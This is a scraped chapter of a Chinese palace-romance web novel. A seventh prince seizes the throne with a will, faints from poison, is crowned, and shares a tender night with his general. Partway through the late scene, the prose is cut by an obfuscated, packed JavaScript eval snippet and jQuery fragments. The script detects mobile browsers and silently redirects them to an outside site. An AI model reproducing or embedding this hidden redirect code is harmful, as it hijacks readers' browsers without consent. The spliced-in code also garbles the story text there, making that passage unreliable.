默认冷灰
24号文字
方正启体

5. 《真皇子,请登基!》5

作者:全自动码字键盘本书字数:K更新时间:
    朝堂之上,京内各路大臣悉数尽至。


    此时皇子未至,众多大臣于殿中低声地叽叽喳喳。


    对于大清晨忽被告知提前上朝一事,或许其中有些人知道了具体缘由,可对于更多大臣来说,一切消息都仍藏在雾里。


    就在这时,数道沉稳的脚步声踏踏而来。


    众臣面色一凛,立马各自端正站好,齐齐朝着同一个方向看去。


    只见一位平日并不常露于人前的皇子面如冠玉,从容不迫地走入殿内,一名年轻而少有表情的将军披甲护卫身旁,祁相于方尚书令紧随其后,一同进入了殿内。


    “那是……程家的小将军!”


    “祁相?!方尚书令?!他们不是……”


    这幅人员配置立马就引起了众臣间的波澜。


    众所周知,祁相是大皇子麾下重臣,程家支撑起了二皇子麾下的半边天,方尚书令则是五皇子最为信任的心腹,如今怎么……怎么……


    怎么竟都聚集在了第四位皇子的身旁?!


    大臣们自然是认得出七皇子的。


    可正是因为认出了七皇子,一切才显得如此荒诞。


    七皇子直至昨日,不都还传闻说重病在床,连床都下不了吗?怎么如今竟能这般面色红润地站在他们面前,还是在今日这样……敏感的时间上!


    朝臣震惊,蔺辰却没给他们细思的机会。


    他自然地坐到龙椅旁侧的宝座上,而后手一挥,以往一直跟随在先帝身边的老太监便上前一步,高声说道:“陛下龙驭上宾,七皇子奉遗诏主持朝会,众臣肃静!喧哗者以谋逆论罪!”


    霎时间,全场寂静无声。


    可众臣目光之间的震惊之色,比起方才有增无减。


    蔺辰目光一扫群臣,不急不缓地从袖中取出遗诏。


    他清晰地高声开口:“父皇昨夜驾崩,临终前立孤为储。遗诏在此,祁、方、程、黎等十数位大人已见证、签名,请众卿传阅。”


    他望向祁相,祁相默契上前一步,接过遗诏,将其展开之后走下殿去,从诸臣面前快速举过。


    众臣来不及细看,只能瞧见这遗诏端正,加盖的大印似是无误,而在遗诏尾端,十数个名字与指印相继排列,粗一看过去,朝堂上最具重量的文臣武官之名皆在其上——


    不过百官之首此时都已亲自拿着诏书向他们进行展示了,诏书上有其名字自然也见不得怪。


    有些老臣老眼昏花,根本来不及看上两眼,诏书便已从他身边过去。


    “哎……殿下,这、这传阅速度可否稍缓一些,老臣刚刚还来不及细看呐!”


    还有老臣则是眉头紧皱,看了遗诏之后也不曾解开。


    他稍作犹豫,踏出一步,向殿上之人行礼道:“七殿下,此诏事关重大,臣斗胆请问,这份诏书是何时、从何处呈递至殿下手中?”


    若是换做一些脾气暴躁的君主,此时指不定已要扬起屠刀,杀鸡儆猴。


    蔺辰却是平静,面色不改,不慌不忙地答道:“此诏乃先帝弥留之际,秘密托心腹转交于孤。诏书上先帝御印与亲笔朱批清晰可辨,诸位若是细看,便知绝非伪造。”


    “只是先帝新丧,朝局不稳,人心未定,没有时间让各位大人一一细看。待到朝政初步安定之后,孤将在朝堂之上命人当众宣读全文,并将诏书副本发至各衙门,让诸位无需传阅,也能尽知详情。”


    此话答得滴水不漏,原因也颇为合理。


    这名老臣紧皱的眉头稍稍松开,看样子是接受了这个解释,低头行礼退回列中。


    眼见数名大臣也想效仿老臣,出言询问。


    蔺辰却没给他们这个机会。蔺辰的目光望向人群中的几名大臣:“此诏之事,祁相、方尚书令、黎大将军、于大人等数位大人均早已知晓。”


    祁相、方尚书令,以及刚刚改立门庭、被带至朝堂上的黎大将军与禁卫统领,皆依次应声:“臣等能够作证,此遗诏属实,恳请七皇子即刻继位,稳定朝局!”


    蔺辰露出微笑。


    温和而锐利的目光扫过全场:“国不可一日无君,为尽快稳定朝局,继位大典将于三日后举行。即日起,由祁相总领朝政,程将军暂管京城防务,任何人不得擅自调动兵马、散播流言,违者将视为与谋逆同罪。”


    “众卿,可有异议?”


    底下众臣,有一部分人已经很快地反应过来,高声应了遵旨,表明态度。一部分中立摇摆者,此时犹豫地看看左右,慢了一拍应下遵旨。


    余下少数仍心怀不忿,不知为何此时自己效忠下注的皇子不在殿上,但在殿内左右玄甲军沉默而肃杀的注视之下,什么话也没敢说,憋憋屈屈地应下了话。


    不过一刻钟时间,万事皆定。


    蔺辰满意地站起身,宣布道:“朝会暂散,各卿按令行事!”


    散朝之话落下,七皇子从容不迫地转身离去。


    自始至终并未开口的程小将军与祁相也随着七皇子一同离开,只留了方尚书令在殿内,面对一些难以逃掉的疑问与质问。


    这些人中,以曾经跟着祁相与方尚书令选择了大皇子或五皇子的朝臣为主。


    不过大势已变,众臣口中曾经“面善心黑”的七殿下,此时也已变作了“为人聪颖,知人善任”。


    同一时间,另一边。


    蔺辰刚刚快步下朝,朦胧的黑雾便急不可耐地侵袭了他的双目。他每走一步,这些黑雾便更重一分,脚下的力道也更虚一分。


    终于,随着一步踏出,蔺辰的视野彻底变黑。


    意识朦胧的前一刻,蔺辰耳边似乎传来了年轻将军近乎变形的声音:“……召御医!!”


    以及更远处疾跑而来,由欣喜转为惊恐的青年声音:“殿下!……殿下?!”


    ……


    祁相觉得,自己最近的头发大约又多白了几十根。


    他瞧着天色、算着时间,对着药方内的林府医叹:“登基大典两个时辰后开始,林先生也不想瞧着殿下于昏迷中被扛到大典上吧?”


    林府医挂着两个重重的黑眼圈,苦笑:“祁相,若在下有法子能使殿下醒来,焉能不用?”


    “问题是,那日殿下过度透支,邪毒趁机攻至心肺,虽说解药在手,压制及时,但这解药究竟何时能够彻底将殿下的邪毒压下,殿下又何时才能苏醒过来……”


    林府医深深叹气:“在下实在是难以预料啊。”


    就在这时,一位下人忽然从外面快步奔来。


    惊喜地大喊道:“大人!二位大人!殿下醒了,殿下醒了!”


    ……


    蔺辰昏昏沉沉地醒来时,整间屋子已经站满了人。


    林府医此时正坐床头,凝神把脉,当蔺辰吃力地撑开眼时,他的脸上也终于露出松气一般的笑容:“恭喜殿下,邪毒已被成功压制,静养三月,即可全数尽消!”


    “静养三月……现在是什么时候了?”


    蔺辰话刚出声,便意识到了自己声音中的沙哑。


    他当即示意林府医将他扶坐起来,浑身上下虚弱而酸胀的感觉令他不由自主地倒吸了一口气。


    铿锵一声,边上一直没有出声的年轻将军当即上前一步!


    可在蔺辰抬眼望去时,这名年轻将军又立刻恢复了面无表情的状态,只有那双带着重重黑眼圈的眼睛直勾勾地盯着他不放。


    蔺辰刚想开口,沉稳的声音便将其目光吸引而去。


    “殿下,您已昏迷将近三日。再有两个时辰,登基大典便要开始了。”


    蔺辰的目光全部被吸引过去了。


    蔺辰木然:“……仅剩两个时辰?!”


    祁相:“准确来说,目前已不足两个时辰。”


    祁相顿了顿,不急不缓地说:“若是殿下您再晚些醒来,怕是第一眼见到的便不是这宫内事物了。”


    若不是宫内事物,那会是何事物?


    自然是复归皇子身份之后,所能见到的王府内的一应事物。


    蔺辰叹息。


    蔺辰:“我这便去沐浴更衣。这些日子有劳祁相与程将军了,烦请通知下去,两个时辰后的大典如常召开。”


    蔺辰并没有时间去细致了解自己身体究竟如何,也无法细问被他委任暂管京中防务的程焕臻此时又为何会在宫内。


    既然还能下床,人能行动,那他自然便要先担起自己的分内之责——作为祁相等人所选主君的责任。


    他强忍着身子的酸痛沐浴、更衣,没有一分一毫的拖延,很快便坐上了前往登基大典的车驾。


    祁相等人在他昏迷期间,将诸事打理得井井有条。


    当众臣匍匐于地,齐喊“陛下万岁,万岁,万万岁”时,这长达数日的争帝之战总算暂时画下了句号。


    不过登基之日的事务远不止于此。


    登基大典结束之后,蔺辰又马不停蹄地的拜谒祖庙、祭告天地,一应事务忙完之后,又召见核心官员进行首次御前议事。


    直到圆月高挂,蔺辰才终于得以从这忙碌的皇帝生活中暂时脱身。


    弦一松下,强压了一日的身体不适便立刻涌上喉来。


    “咳、咳咳……”


    林如晏立刻端着药碗上前,轻声说:“陛下,这三个月内不可劳累,应多多静养。陛下喝了这碗药汤,便早些休息吧。”


    蔺辰接过药碗,应了一声。


    他望着对着这位跟随自己多年的心腹医师,忽然弯了眼。


    蔺辰:“如今朝局已定,你跟随朕这么多年,也该有个妥当的去处。”


    “我且问你,往后,你是愿留在朕身边,继续做朕的贴身侍医,不受太医院的规矩拘束,还是想入太医院,凭你的医术挣个正儿八经的御医名分,执掌宫中医务,也让更多人知晓你的本事?”


    他眨眨眼:“不论选哪条路,朕都依你。”


    林如晏惊讶一瞬,神情很快落回平常。


    他温声笑应:“陛下,当年臣流落街头险些丧命,是您命人将臣带回府邸救治,臣这才得以活至今日。臣随李师学医数年,为的从来都是回报陛下之恩情,替陛下把脉象、调汤药,让您少受些病痛折腾,可不是为的太医院职分。”


    “臣的本事本就为护陛下而生,能够留在您的身边尽这份力,才是臣的毕生心愿。”


    蔺辰闻言,心情开阔无比,当即答应这三个月内定将好好喝药,绝不打折扣让他烦心。


    林如晏:“既如此,那陛下便先将眼前这碗药喝了吧。时辰已晚,您喝完药也该休息了。”


    蔺辰捂着药,面不改色:“如晏别急,这药朕定然是会喝的。只是如今还有一要事未做——程将军现在何处?”


    林如晏无奈:“程将军就在屋外,他已等候数个时辰了。”


    蔺辰:“快唤程将军进来!”


    不一会儿,程将军便被唤进了屋内。


    林如晏心知自己此刻不该待在屋内,于是他很快找了借口离开房间。


    一时间,屋内便只剩下了新皇帝与将军二人。


    程焕臻进到屋内,便面无表情地往那儿一站,看上去竟像一位不会说话的守卫一般。


    蔺辰见状,却不慌不忙,笑意盈盈地唤道:“程将军怎么这般板着脸色?今日诸事忙碌,刚刚得闲,还望程将军不要见怪。过来,坐朕边上,离那么远作甚?”


    程焕臻的目光微微一动,却仍是面无表情,自然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361111|183685||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也没向前一步。


    程焕臻:“陛下刚刚登基,亟待处理的事情多得很,有什么可见怪的。臣也没有板着脸色,陛下切勿污蔑。”


    蔺辰伤心哀叹:“亏得朕连药都没来得及喝,便将程将军唤入屋内,没想到程将军却对朕这般生疏,这真是叫朕伤心啊……咳、咳咳……”


    蔺辰皱紧了眉头,捂住嘴蜷身低咳。


    程焕臻的睫毛用力一颤,下一刻,他便来到了青年皇帝的身前,手上拿着刚从边上取下的大氅,紧皱着眉头弯身为其披上。


    程焕臻认真地生气:“陛下既然已经登基,那更应该珍惜龙体才对!”


    却见年轻陛下一个变脸,伤心之色瞬间化作盈盈笑意,力气温和的手掌反手紧攥住他的手腕。


    蔺辰笑:“珍惜,朕怎么不珍惜了?倒是程将军。若是程将军不生朕的气,那朕心情一好,身体自然也会好得更快。”


    程焕臻被他这一晃,意识到蔺辰又是在打趣他!


    他一下扯平嘴角,双眼瞪得厉害:“什么叫做臣生气?什么叫臣与陛下生疏……分明是陛下倒打一耙!是陛下这般生疏地唤我‘将军’!”


    他移开目光,声音硬邦邦的:“再者,于陛下而言,臣不过是个就连昔日与陛下月下相拥时,都不知陛下是特意吃了药强撑而来的外·臣罢了。又如何能够影响陛下的心情乃至龙体呢?”


    蔺辰好声好气地哄着:“这不是怕程将军太过担忧我的身子,届时不愿离京,反倒给程家惹来麻烦么?那时朕不过一位小小景王,若是先帝不满程家,朕又当如何呢?”


    新登基的皇帝这么解释着,倒是理直气壮。


    程焕臻反问:“那陛下现在这般,就不怕臣赖在京城不走了么?”


    蔺辰笑意盈盈:“哦?程将军不想回北地去了?那正好,朕正打算将禁军统领的位置交给可信之人。程将军留在京城,为朕掌管禁军如何?”


    程焕臻:“……”


    程焕臻算是看出来了:“陛下的坑,原来在这儿等着。”


    他一眨不眨地盯着蔺辰,说:“既然陛下愿将臣留在京中,那臣想领一职。”


    程焕臻自小便是武将,而武将说话素来很直。蔺辰便也惯着他:“想领何职?”


    程焕臻硬邦邦地答:“御前侍卫。”


    蔺辰眉头一扬,撑着脑袋笑:“哦?御前侍卫的位置,在程将军心目中难道要比禁军统领更高不成?”


    程焕臻:“……禁军护卫皇宫,御前侍卫护卫陛下。二者如何比得?”


    程焕臻受不住陛下那带笑的眼睛,主动挪开了一些目光。


    这一挪,便见着桌上丝毫未动的药汤,稍一碰碗壁,发现竟已温凉。


    程焕臻又不满地挪回目光,硬邦邦地说道:“陛下何故不喝药?”


    蔺辰惆怅:“朕的双手不得闲,如何喝药?”


    程焕臻:“……”


    程焕臻沉默地对上那眼中笑意,安静片刻,终究还是叹了一声。


    他拉来椅子,面无表情迫不得已地给陛下喂药。


    陛下喝药不老实,总得哄着才喝,程焕臻便只好哄着。一时间,场面竟从陛下哄他变成了他哄陛下。


    当他反应过来这件事时,陛下已经喝完了药。


    程焕臻放下空碗,直勾勾地盯着蔺辰:“……陛下。”


    蔺辰的鼻子因药苦而皱成一团,面色或许也因药苦而更显苍白。他的喉咙应了一声模模糊糊的:“嗯?”


    书房外的月色悄悄地爬入屋内,落至明黄龙袍青年身上,映得月美人更美。


    程焕臻盯着、盯着,便不自主地入了迷。他放下药碗,问道:“陛下冷么?”


    陛下好奇地抬起眼来:“冷又如何?不冷又如何?”


    程焕臻慢吞吞地说道:“若是冷——”


    他倾身上前,无声叹息着轻轻圈住这位刚登基的年轻皇帝。他低声说:“若是冷,那便让臣抱抱。”


    烛火摇摆,人影也也随之而动。


    年轻的陛下默许纵容着一切放肆。


    可他又怎么敢真的放肆?


    他拥着青年,指尖触碰着那瘦弱而无力的腰身,便会想起那日抱起昏迷的陛下,亲眼见着陛下在鬼门关前走了一遭之事。


    现在光是想想,这指尖的力道便连多落一分都不敢。


    思绪纷扰间,程焕臻忽然低声说道:“陛下刚刚登基,龙椅未暖,诸位王爷不见得会善罢甘休。”


    年轻的皇帝于摇摆的烛光间抬眼望来,望得年轻的将军心尖发痒。


    程焕臻声音又轻了点:“……臣是说,除臣之外,难道陛下还有其他将军,能如臣一样以一敌万、护陛下周全,还能……为陛下喂药吗?”


    新上任的皇帝忽然畅快大笑起来,笑得程焕臻眼睛都瞪圆了,一口气高高地提着憋着。


    蔺辰笑:“朕的将军说得有理。好!那自明日起,你便以将军之职兼领御前侍卫事务。北地军务与京城防务,朕都将妥善安排,将军不必多虑。”


    程焕臻的心这才一点一点放回胸腔之间。


    这日他没有留宿宫内,蔺辰看出他数日不曾休息的状态,强令他回去休息。


    于是程焕臻回到程宅,挨程老太尉怒目圆瞪一整晚,次日清晨精神抖擞地奉命入宫,重新回到皇帝身边,成了新皇帝登基之后,首位被百官所知的心腹近臣。


    直至后年,北地重生乱象,程将军才奉命离京,率军驰援,凭借雷霆手段,仅半载便彻底荡平北地祸乱,使得边境重归安宁。


    与此同时,新皇治下的其余疆土,也因这些年新皇广施仁政、轻徭薄赋,终得仓廪充盈、黎民安乐,四海升平、海晏河清!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)